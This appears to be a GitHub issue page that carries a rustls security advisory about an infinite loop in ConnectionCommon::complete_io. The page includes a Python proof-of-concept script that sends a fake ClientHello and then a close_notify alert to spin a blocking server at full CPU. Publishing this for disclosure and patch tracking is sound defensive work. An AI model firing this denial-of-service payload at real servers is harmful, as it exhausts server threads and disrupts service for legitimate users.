You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
rustls::ConnectionCommon::complete_io could fall into an infinite loop based on network input.
Details
Verified at 0.22 and 0.23 rustls, but 0.21 and 0.20 release lines are also affected. tokio-rustls and rustls-ffi do not call complete_io and are not affected. rustls::Stream and rustls::StreamOwned types use complete_io and are affected.
When using a blocking rustls server, if a client send a close_notify message immediately after client_hello, the server's complete_io will get in an infinite loop where:
eof: false
until_handshaked: true
self.is_handshaking(): true
self.wants_write(): false
self.wants_read(): false
PoCRun simple server: cargo run --bin simpleserver test-ca/rsa/end.fullchain test-ca/rsa/end.key
Run following python script
#!/usr/bin/env python3
import socket
sock = socket.socket()
sock.connect(("localhost",4443))print("Sending client hello...")
# Fake handshake data of a client hello message.fake_handshake = """
16030100 c801 0000 c403 03ec 12dd
1764 a439 fd7e 8c85 46b8 4d1e a06e b3d7
a051 f03c b817 470d 4c54 c5df 7200001c
eaea c02b c02f c02c c030 cca9 cca8 c013
c014 009c 009d 002f 0035000a 0100007f
dada 0000 ff01 0001000000001600140000117777772e 77696b69 70656469612e
6f72 670017000000230000000d00 140012040308040401050308050501080606010201000500050100000000001200000010000e 000c 02683208687474702f31
2e3175500000000b 00020100000a 000a
00081a1a 001d 001700181a1a 000100"""
def parse_fake_handshake():
i = 0
data = bytearray()while i < len(fake_handshake):while i < len(fake_handshake) and fake_handshake[i].isspace():
i += 1if i >= len(fake_handshake):return data
c1 = fake_handshake[i]
c2 = fake_handshake[i + 1]
i += 2
data.append(int(c1,16)*16 + int(c2,16))return data
data = parse_fake_handshake()print("Fake client hello:", data)
sock.send(data)
# Send close_notify alert that we're closing the connection.
close_data = bytearray([0x15,0x03,0x03,0x00,0x02,0x01,0x00])
print(f"close_notify is{close_data}")
sock.send(close_data)
print("close_notify sent")
exit(0)
You could observe the server process get into 100% cpu usage, and if you add logging at beginning of rustls::conn::ConnectionCommon::complete_io, you could see the function is spinning.
Also note that the server thread is stuck in this infinite loop even if the client closes the socket.
Impact
This is a DOS.
A multithread non-async server that uses rustls could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.
The text was updated successfully, but these errors were encountered:
Issue open to track an issue with one of our dependencies when running cargo deny check advisories:
Description
Summary
rustls::ConnectionCommon::complete_io could fall into an infinite loop based on network input.
Details
Verified at 0.22 and 0.23 rustls, but 0.21 and 0.20 release lines are also affected. tokio-rustls and rustls-ffi do not call complete_io and are not affected. rustls::Stream and rustls::StreamOwned types use complete_io and are affected.
When using a blocking rustls server, if a client send a close_notify message immediately after client_hello, the server's complete_io will get in an infinite loop where:
You could observe the server process get into 100% cpu usage, and if you add logging at beginning of rustls::conn::ConnectionCommon::complete_io, you could see the function is spinning.
Also note that the server thread is stuck in this infinite loop even if the client closes the socket.
Impact
This is a DOS.
A multithread non-async server that uses rustls could be attacked by getting few requests like above (each request could cause one thread to spin) and stop handling normal requests.
The text was updated successfully, but these errors were encountered: